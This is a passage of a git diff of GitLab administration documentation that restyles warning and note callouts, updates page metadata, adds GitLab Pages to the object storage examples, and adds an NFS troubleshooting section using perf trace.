-If your GitLab server is running within Kubernetes, Prometheus will collect metrics from the Nodes and [annotated Pods](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) in the cluster, including performance data on each container. This is particularly helpful if your CI/CD environments run in the same cluster, as you can use the [Prometheus project integration](../../../user/project/integrations/prometheus.md) to monitor them.
+If your GitLab server is running within Kubernetes, Prometheus collects metrics from the Nodes and [annotated Pods](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) in the cluster, including performance data on each container. This is particularly helpful if your CI/CD environments run in the same cluster, as you can use the [Prometheus project integration](../../../user/project/integrations/prometheus.md) to monitor them.
To disable the monitoring of Kubernetes:
diff --git a/doc/administration/monitoring/prometheus/node_exporter.md b/doc/administration/monitoring/prometheus/node_exporter.md
index fea78a3685c..f27912d5806 100644
--- a/doc/administration/monitoring/prometheus/node_exporter.md
+++ b/doc/administration/monitoring/prometheus/node_exporter.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Node exporter
@@ -24,5 +24,5 @@ To enable the node exporter:
1. Save the file, and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
for the changes to take effect.
-Prometheus will now begin collecting performance data from the node exporter
+Prometheus begins collecting performance data from the node exporter
exposed at `localhost:9100`.
diff --git a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md
index ff0cfc65e10..0dffad59793 100644
--- a/doc/administration/monitoring/prometheus/pgbouncer_exporter.md
+++ b/doc/administration/monitoring/prometheus/pgbouncer_exporter.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# PgBouncer exporter
@@ -26,9 +26,9 @@ To enable the PgBouncer exporter:
1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
for the changes to take effect.
-Prometheus will now begin collecting performance data from the PgBouncer exporter
+Prometheus begins collecting performance data from the PgBouncer exporter
exposed at `localhost:9188`.
-The PgBouncer exporter will also be enabled by default if the
+The PgBouncer exporter is enabled by default if the
[`pgbouncer_role`](https://docs.gitlab.com/omnibus/roles/#postgresql-roles)
role is enabled.
diff --git a/doc/administration/monitoring/prometheus/postgres_exporter.md b/doc/administration/monitoring/prometheus/postgres_exporter.md
index f7368556235..8bc61ff53bb 100644
--- a/doc/administration/monitoring/prometheus/postgres_exporter.md
+++ b/doc/administration/monitoring/prometheus/postgres_exporter.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# PostgreSQL Server Exporter
@@ -21,12 +21,12 @@ To enable the PostgreSQL Server Exporter:
If PostgreSQL Server Exporter is configured on a separate node, make sure that the local
address is [listed in `trust_auth_cidr_addresses`](../../postgresql/replication_and_failover.md#network-information) or the
- exporter will not be able to connect to the database.
+ exporter can't connect to the database.
1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to
take effect.
-Prometheus will now automatically begin collecting performance data from
+Prometheus begins collecting performance data from
the PostgreSQL Server Exporter exposed under `localhost:9187`.
## Advanced configuration
diff --git a/doc/administration/monitoring/prometheus/redis_exporter.md b/doc/administration/monitoring/prometheus/redis_exporter.md
index 41a84f1f3ed..03c215625ec 100644
--- a/doc/administration/monitoring/prometheus/redis_exporter.md
+++ b/doc/administration/monitoring/prometheus/redis_exporter.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Redis exporter
@@ -25,5 +25,5 @@ To enable the Redis exporter:
1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
for the changes to take effect.
-Prometheus will now begin collecting performance data from
+Prometheus begins collecting performance data from
the Redis exporter exposed at `localhost:9121`.
diff --git a/doc/administration/monitoring/prometheus/registry_exporter.md b/doc/administration/monitoring/prometheus/registry_exporter.md
index 3bf4db8a665..009d94491f3 100644
--- a/doc/administration/monitoring/prometheus/registry_exporter.md
+++ b/doc/administration/monitoring/prometheus/registry_exporter.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Registry exporter
@@ -21,7 +21,7 @@ To enable it:
1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
for the changes to take effect.
-Prometheus will now automatically begin collecting performance data from
+Prometheus automatically begins collecting performance data from
the registry exporter exposed under `localhost:5001/metrics`.
[↠Back to the main Prometheus page](index.md)
diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md
index 3e16b173003..1e2ac531329 100644
--- a/doc/administration/nfs.md
+++ b/doc/administration/nfs.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -14,7 +14,7 @@ Pages](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/196).
For data objects such as LFS, Uploads, Artifacts, etc., an [Object Storage service](object_storage.md)
is recommended over NFS where possible, due to better performance.
-CAUTION: **Caution:**
+WARNING:
From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0,
support for NFS for Git repositories is scheduled to be removed. Upgrade to
[Gitaly Cluster](gitaly/praefect.md) as soon as possible.
@@ -118,7 +118,7 @@ To disable NFS server delegation, do the following:
1. Restart the NFS server process. For example, on CentOS run `service nfs restart`.
-NOTE: **Note:**
+NOTE:
The kernel bug may be fixed in
[more recent kernels with this commit](https://github.com/torvalds/linux/commit/95da1b3a5aded124dd1bda1e3cdb876184813140).
Red Hat Enterprise 7 [shipped a kernel update](https://access.redhat.com/errata/RHSA-2019:2029)
@@ -133,7 +133,7 @@ NFS performance with GitLab can in some cases be improved with
[direct Git access](gitaly/index.md#direct-access-to-git-in-gitlab) using
[Rugged](https://github.com/libgit2/rugged).
-NOTE: **Note:**
+NOTE:
From GitLab 12.1, it will automatically be detected if Rugged can and should be used per storage.
If you previously enabled Rugged using the feature flag, you will need to unset the feature flag by using:
@@ -146,7 +146,7 @@ If the Rugged feature flag is explicitly set to either `true` or `false`, GitLab
#### Improving NFS performance with Puma
-NOTE: **Note:**
+NOTE:
From GitLab 12.7, Rugged is not automatically enabled if Puma thread count is greater than `1`.
If you want to use Rugged with Puma, [set Puma thread count to `1`](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings).
@@ -344,7 +344,7 @@ sudo ufw allow from <client_ip_address> to any port nfs
### Upgrade to Gitaly Cluster or disable caching if experiencing data loss
-CAUTION: **Caution:**
+WARNING:
From GitLab 13.0, using NFS for Git repositories is deprecated. In GitLab 14.0,
support for NFS for Git repositories is scheduled to be removed. Upgrade to
[Gitaly Cluster](gitaly/praefect.md) as soon as possible.
@@ -358,7 +358,7 @@ For example, we have seen [inconsistent updates after a push](https://gitlab.com
| `actimeo=0` | Sets the time to zero that the NFS client caches files and directories before requesting fresh information from a server. |
| `noac` | Tells the NFS client not to cache file attributes and forces application writes to become synchronous so that local changes to a file become visible on the server immediately. |
-CAUTION: **Caution:**
+WARNING:
The `actimeo=0` and `noac` options both result in a significant reduction in performance, possibly leading to timeouts.
You may be able to avoid timeouts and data loss using `actimeo=0` and `lookupcache=positive` _without_ `noac`, however
we expect the performance reduction will still be significant. As noted above, we strongly recommend upgrading to
@@ -370,7 +370,7 @@ GitLab strongly recommends against using AWS Elastic File System (EFS).
Our support team will not be able to assist on performance issues related to
file system access.
-Customers and users have reported that AWS EFS does not perform well for GitLab's
+Customers and users have reported that AWS EFS does not perform well for the GitLab
use-case. Workloads where many small files are written in a serialized manner, like `git`,
are not well-suited for EFS. EBS with an NFS server on top will perform much better.
@@ -383,7 +383,7 @@ For more details on another person's experience with EFS, see this [Commit Brook
### Avoid using CephFS and GlusterFS
GitLab strongly recommends against using CephFS and GlusterFS.
-These distributed file systems are not well-suited for GitLab's input/output access patterns because Git uses many small files and access times and file locking times to propagate will make Git activity very slow.
+These distributed file systems are not well-suited for the GitLab input/output access patterns because Git uses many small files and access times and file locking times to propagate will make Git activity very slow.
### Avoid using PostgreSQL with NFS
@@ -402,14 +402,19 @@ Additionally, this configuration is specifically warned against in the
For supported database architecture, see our documentation about
[configuring a database for replication and failover](postgresql/replication_and_failover.md).
-<!-- ## Troubleshooting
+## Troubleshooting
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
+### Finding the requests that are being made to NFS
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+In case of NFS-related problems, it can be helpful to trace
+the filesystem requests that are being made by using `perf`:
+
+```shell
+sudo perf trace -e 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn)
+```
+
+On Ubuntu 16.04, use:
+
+```shell
+sudo perf trace --no-syscalls --event 'nfs4:*' -p $(pgrep -fd ',' puma && pgrep -fd ',' unicorn)
+```
diff --git a/doc/administration/npm_registry.md b/doc/administration/npm_registry.md
index cdcce79f8f9..690b6785941 100644
--- a/doc/administration/npm_registry.md
+++ b/doc/administration/npm_registry.md
@@ -3,3 +3,6 @@ redirect_to: 'packages/index.md'
---
This document was moved to [another location](packages/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md
index 2b714c36d93..a89c50a8412 100644
--- a/doc/administration/object_storage.md
+++ b/doc/administration/object_storage.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -114,6 +114,7 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details.
gitlab_rails['object_store']['objects']['packages']['bucket'] = '<packages>'
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = '<dependency-proxy>'
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = '<terraform-state>'
+ gitlab_rails['object_store']['objects']['pages']['bucket'] = '<pages>'
```
For GitLab 9.4 or later, if you're using AWS IAM profiles, be sure to omit the
@@ -160,6 +161,8 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details.
bucket: <dependency_proxy>
terraform_state:
bucket: <terraform>
+ pages:
+ bucket: <pages>
```
1. Edit `/home/git/gitlab-workhorse/config.toml` and add or amend the following lines:
@@ -440,6 +443,8 @@ required parameter within each type:
bucket: dependency_proxy
terraform_state:
bucket: terraform
+ pages:
+ bucket: pages
```
This maps to this Omnibus GitLab configuration:
@@ -454,6 +459,7 @@ gitlab_rails['object_store']['objects']['packages']['bucket'] = 'packages'
gitlab_rails['object_store']['objects']['dependency_proxy']['enabled'] = false
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = 'dependency-proxy'
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = 'terraform-state'
+gitlab_rails['object_store']['objects']['pages']['bucket'] = 'pages'
```
This is the list of valid `objects` that can be used:
@@ -467,6 +473,7 @@ This is the list of valid `objects` that can be used:
| `packages` | [Project packages (e.g. PyPI, Maven, NuGet, etc.)](packages/index.md) |
| `dependency_proxy` | [GitLab Dependency Proxy](packages/dependency_proxy.md) |
| `terraform_state` | [Terraform state files](terraform_state.md) |
+| `pages` | [GitLab Pages](pages/index.md) |
Within each object type, three parameters can be defined:
@@ -536,7 +543,7 @@ supported by consolidated configuration form, refer to the following guides:
|Object storage type|Supported by consolidated configuration?|
|-------------------|----------------------------------------|
-| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
+| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage) | No |
| [Job artifacts](job_artifacts.md#using-object-storage) including archived job logs | Yes |
| [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
| [Uploads](uploads.md#using-object-storage) | Yes |
@@ -548,6 +555,7 @@ supported by consolidated configuration form, refer to the following guides:
| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No |
| [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No |
| [Terraform state files](terraform_state.md#using-object-storage) | Yes |
+| [GitLab Pages content](pages/index.md#using-object-storage) | Yes |
### Other alternatives to filesystem storage
diff --git a/doc/administration/operations.md b/doc/administration/operations.md
index 9cd78105bbb..cfabb5ec27d 100644
--- a/doc/administration/operations.md
+++ b/doc/administration/operations.md
@@ -3,3 +3,6 @@ redirect_to: 'operations/index.md'
---
This document was moved to [another location](operations/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/operations/cleaning_up_redis_sessions.md b/doc/administration/operations/cleaning_up_redis_sessions.md
index 8f90231a713..6513a4ed4c8 100644
--- a/doc/administration/operations/cleaning_up_redis_sessions.md
+++ b/doc/administration/operations/cleaning_up_redis_sessions.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Cleaning up stale Redis sessions
@@ -21,7 +21,7 @@ prefixed with `session:gitlab:`, so they would look like
`session:gitlab:976aa289e2189b17d7ef525a6702ace9`. Below we describe how to
remove the keys in the old format.
-NOTE: **Note:**
+NOTE:
The instructions below must be modified in accordance with your
configuration settings if you have used the advanced Redis
settings outlined in
diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md
index 5de79882083..1f611a50a53 100644
--- a/doc/administration/operations/extra_sidekiq_processes.md
+++ b/doc/administration/operations/extra_sidekiq_processes.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Run multiple Sidekiq processes **(CORE ONLY)**
@@ -11,7 +11,7 @@ These processes can be used to consume a dedicated set
of queues. This can be used to ensure certain queues always have dedicated
workers, no matter the number of jobs that need to be processed.
-NOTE: **Note:**
+NOTE:
The information in this page applies only to Omnibus GitLab.
## Available Sidekiq queues
@@ -209,7 +209,7 @@ sidekiq['queue_groups'] = [
### Disable Sidekiq cluster
-CAUTION: **Warning:**
+WARNING:
Sidekiq cluster is [scheduled](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/240)
to be the only way to start Sidekiq in GitLab 14.0.
@@ -341,7 +341,7 @@ being equal to `max_concurrency`.
Running a single Sidekiq process is the default in GitLab 12.10 and earlier.
-CAUTION: **Warning:**
+WARNING:
Running Sidekiq directly is scheduled to be removed in GitLab
[14.0](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/240).
@@ -376,7 +376,7 @@ This tells the additional processes how often to check for enqueued jobs.
## Troubleshoot using the CLI
-CAUTION: **Warning:**
+WARNING:
It's recommended to use `/etc/gitlab/gitlab.rb` to configure the Sidekiq processes.
If you experience a problem, you should contact GitLab support. Use the command
line at your own risk.
diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md
index c8830a45fb2..b93af074795 100644
--- a/doc/administration/operations/fast_ssh_key_lookup.md
+++ b/doc/administration/operations/fast_ssh_key_lookup.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Fast lookup of authorized SSH keys in the database
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1631) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.3.
> - [Available in](https://gitlab.com/gitlab-org/gitlab/-/issues/3953) GitLab Community Edition 10.4.
-NOTE: **Note:**
+NOTE:
This document describes a drop-in replacement for the
`authorized_keys` file. For normal (non-deploy key) users, consider using
[SSH certificates](ssh_certificates.md). They are even faster, but are not a
@@ -28,7 +28,8 @@ GitLab Shell solves this by providing a way to authorize SSH users via a fast,
indexed lookup in the GitLab database. This page describes how to enable the fast
lookup of authorized SSH keys.
-> **Warning:** OpenSSH version 6.9+ is required because
+WARNING:
+OpenSSH version 6.9+ is required because
`AuthorizedKeysCommand` must be able to accept a fingerprint. These
instructions will break installations using older versions of OpenSSH, such as
those included with CentOS 6 as of September 2017. If you want to use this
@@ -80,18 +81,18 @@ Confirm that SSH is working by commenting out your user's key in the `authorized
A successful pull would mean that GitLab was able to find the key in the database,
since it is not present in the file anymore.
-NOTE: **Note:**
+NOTE:
For Omnibus Docker, `AuthorizedKeysCommand` is setup by default in
GitLab 11.11 and later.
-NOTE: **Note:**
+NOTE:
For Installations from source, the command would be located at
`/home/git/gitlab-shell/bin/gitlab-shell-authorized-keys-check` if [the install from source](../../install/installation.md#install-gitlab-shell) instructions were followed.
You might want to consider creating a wrapper script somewhere else since this command needs to be
owned by `root` and not be writable by group or others. You could also consider changing the ownership of this command
as required, but that might require temporary ownership changes during `gitlab-shell` upgrades.
-CAUTION: **Caution:**
+WARNING:
Do not disable writes until SSH is confirmed to be working
perfectly, because the file will quickly become out-of-date.
@@ -139,7 +140,7 @@ the database. The following instructions can be used to build OpenSSH 7.5:
```shell
sudo su -
cd /tmp
- curl --remote-name https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz
+ curl --remote-name "https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-7.5p1.tar.gz"
tar xzvf openssh-7.5p1.tar.gz
yum install rpm-build gcc make wget openssl-devel krb5-devel pam-devel libX11-devel xmkmf libXt-devel
```
diff --git a/doc/administration/operations/filesystem_benchmarking.md b/doc/administration/operations/filesystem_benchmarking.md
index c55f253b772..9072214eb02 100644
--- a/doc/administration/operations/filesystem_benchmarking.md
+++ b/doc/administration/operations/filesystem_benchmarking.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Filesystem Performance Benchmarking
@@ -71,7 +71,7 @@ operations per second.
### Simple benchmarking
-NOTE: **Note:**
+NOTE:
This test is naive but may be useful if `fio` is not
available on the system. It's possible to receive good results on this
test but still have poor performance due to read speed and various other
diff --git a/doc/administration/operations/index.md b/doc/administration/operations/index.md
index 864bbb3233e..b15417ea8d9 100644
--- a/doc/administration/operations/index.md
+++ b/doc/administration/operations/index.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Performing Operations in GitLab
diff --git a/doc/administration/operations/moving_repositories.md b/doc/administration/operations/moving_repositories.md
index b311bee1a5b..7cc15f9cea4 100644
--- a/doc/administration/operations/moving_repositories.md
+++ b/doc/administration/operations/moving_repositories.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -48,13 +48,13 @@ We look at three scenarios:
- The target directory contains an outdated copy of the repositories.
- How to deal with thousands of repositories.
-DANGER: **Warning:**
+WARNING:
Each of the approaches we list can or does overwrite data in the target directory
`/mnt/gitlab/repositories`. Do not mix up the source and the target.
### Recommended approach in all cases
-GitLab's [backup and restore capability](../../raketasks/backup_restore.md) should be used. Git
+The GitLab [backup and restore capability](../../raketasks/backup_restore.md) should be used. Git
repositories are accessed, managed, and stored on GitLab servers by Gitaly as a database. Data loss
can result from directly accessing and copying Gitaly's files using tools like `rsync`.
@@ -94,7 +94,7 @@ If you want to compress the data before it goes over the network
### The target directory contains an outdated copy of the repositories: use `rsync`
-DANGER: **Warning:**
+WARNING:
Using `rsync` to migrate Git data can cause data loss and repository corruption.
[These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422).
@@ -115,7 +115,7 @@ If you want to see progress, replace `-a` with `-av`.
#### Single `rsync` to another server
-DANGER: **Warning:**
+WARNING:
Using `rsync` to migrate Git data can cause data loss and repository corruption.
[These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422).
@@ -129,7 +129,7 @@ sudo -u git sh -c 'rsync -a --delete /var/opt/gitlab/git-data/repositories/. \
### Thousands of Git repositories: use one `rsync` per repository
-DANGER: **Warning:**
+WARNING:
Using `rsync` to migrate Git data can cause data loss and repository corruption.
[These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422).
@@ -150,7 +150,7 @@ longer exist at the source.**
#### Parallel `rsync` for all repositories known to GitLab
-DANGER: **Warning:**
+WARNING:
Using `rsync` to migrate Git data can cause data loss and repository corruption.
[These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422).
@@ -211,7 +211,7 @@ cat /home/git/transfer-logs/* | sort | uniq -u |\
#### Parallel `rsync` only for repositories with recent activity
-DANGER: **Warning:**
+WARNING:
Using `rsync` to migrate Git data can cause data loss and repository corruption.
[These instructions are being reviewed](https://gitlab.com/gitlab-org/gitlab/-/issues/270422).
diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md
index 5104b65c86d..44ac014650e 100644
--- a/doc/administration/operations/puma.md
+++ b/doc/administration/operations/puma.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Switching to Puma
diff --git a/doc/administration/operations/rails_console.md b/doc/administration/operations/rails_console.md
index dac36135a8e..b40560bf6e5 100644
--- a/doc/administration/operations/rails_console.md
+++ b/doc/administration/operations/rails_console.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# The Rails Console
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The [Rails console](https://guides.rubyonrails.org/command_line.html#rails-console).
provides a way to interact with your GitLab instance from the command line.
-CAUTION: **Caution:**
+WARNING:
The Rails console interacts directly with GitLab. In many cases,
there are no handrails to prevent you from permanently modifying, corrupting
or destroying production data. If you would like to explore the Rails console
diff --git a/doc/administration/operations/sidekiq_memory_killer.md b/doc/administration/operations/sidekiq_memory_killer.md
index 0de8b681dd8..c7f00d05213 100644
--- a/doc/administration/operations/sidekiq_memory_killer.md
+++ b/doc/administration/operations/sidekiq_memory_killer.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Memory
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Sidekiq MemoryKiller
@@ -35,7 +35,9 @@ The MemoryKiller is controlled using environment variables.
- `SIDEKIQ_DAEMON_MEMORY_KILLER`: defaults to 1. When set to 0, the MemoryKiller
works in _legacy_ mode. Otherwise, the MemoryKiller works in _daemon_ mode.
- In _legacy_ mode, the MemoryKiller checks the Sidekiq process RSS after each job.
+ In _legacy_ mode, the MemoryKiller checks the Sidekiq process RSS
+ ([Resident Set Size](https://github.com/mperham/sidekiq/wiki/Memory#rss))
+ after each job.
In _daemon_ mode, the MemoryKiller checks the Sidekiq process RSS every 3 seconds
(defined by `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL`).
diff --git a/doc/administration/operations/speed_up_ssh.md b/doc/administration/operations/speed_up_ssh.md
index 6dc83c42f53..2f3cf40a222 100644
--- a/doc/administration/operations/speed_up_ssh.md
+++ b/doc/administration/operations/speed_up_ssh.md
@@ -3,3 +3,6 @@ redirect_to: 'fast_ssh_key_lookup.md'
---
This document was moved to [another location](fast_ssh_key_lookup.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/operations/ssh_certificates.md b/doc/administration/operations/ssh_certificates.md
index 7cbd8c74f90..c0525cf6258 100644
--- a/doc/administration/operations/ssh_certificates.md
+++ b/doc/administration/operations/ssh_certificates.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# User lookup via OpenSSH's AuthorizedPrincipalsCommand
@@ -9,17 +9,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Available in](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/19911) GitLab
> Community Edition 11.2.
-GitLab's default SSH authentication requires users to upload their SSH
+The default SSH authentication for GitLab requires users to upload their SSH
public keys before they can use the SSH transport.
-In centralized (e.g. corporate) environments this can be a hassle
-operationally, particularly if the SSH keys are temporary keys issued
-to the user, e.g. ones that expire 24 hours after issuing.
+In centralized (for example, corporate) environments this can be a hassle
+operationally, particularly if the SSH keys are temporary keys issued to the
+user, including ones that expire 24 hours after issuing.
In such setups some external automated process is needed to constantly
upload the new keys to GitLab.
-> **Warning:** OpenSSH version 6.9+ is required because that version
+WARNING:
+OpenSSH version 6.9+ is required because that version
introduced the `AuthorizedPrincipalsCommand` configuration option. If
using CentOS 6, you can [follow these
instructions](fast_ssh_key_lookup.html#compiling-a-custom-version-of-openssh-for-centos-6)
diff --git a/doc/administration/operations/unicorn.md b/doc/administration/operations/unicorn.md
index 80dafde14aa..03995ee05ba 100644
--- a/doc/administration/operations/unicorn.md
+++ b/doc/administration/operations/unicorn.md
@@ -1,12 +1,12 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Understanding Unicorn and unicorn-worker-killer
-NOTE: **Note:**
+NOTE:
Starting with GitLab 13.0, Puma is the default web server used in GitLab
all-in-one package based installations as well as GitLab Helm chart deployments.
@@ -51,7 +51,7 @@ master process has PID 56227 below.
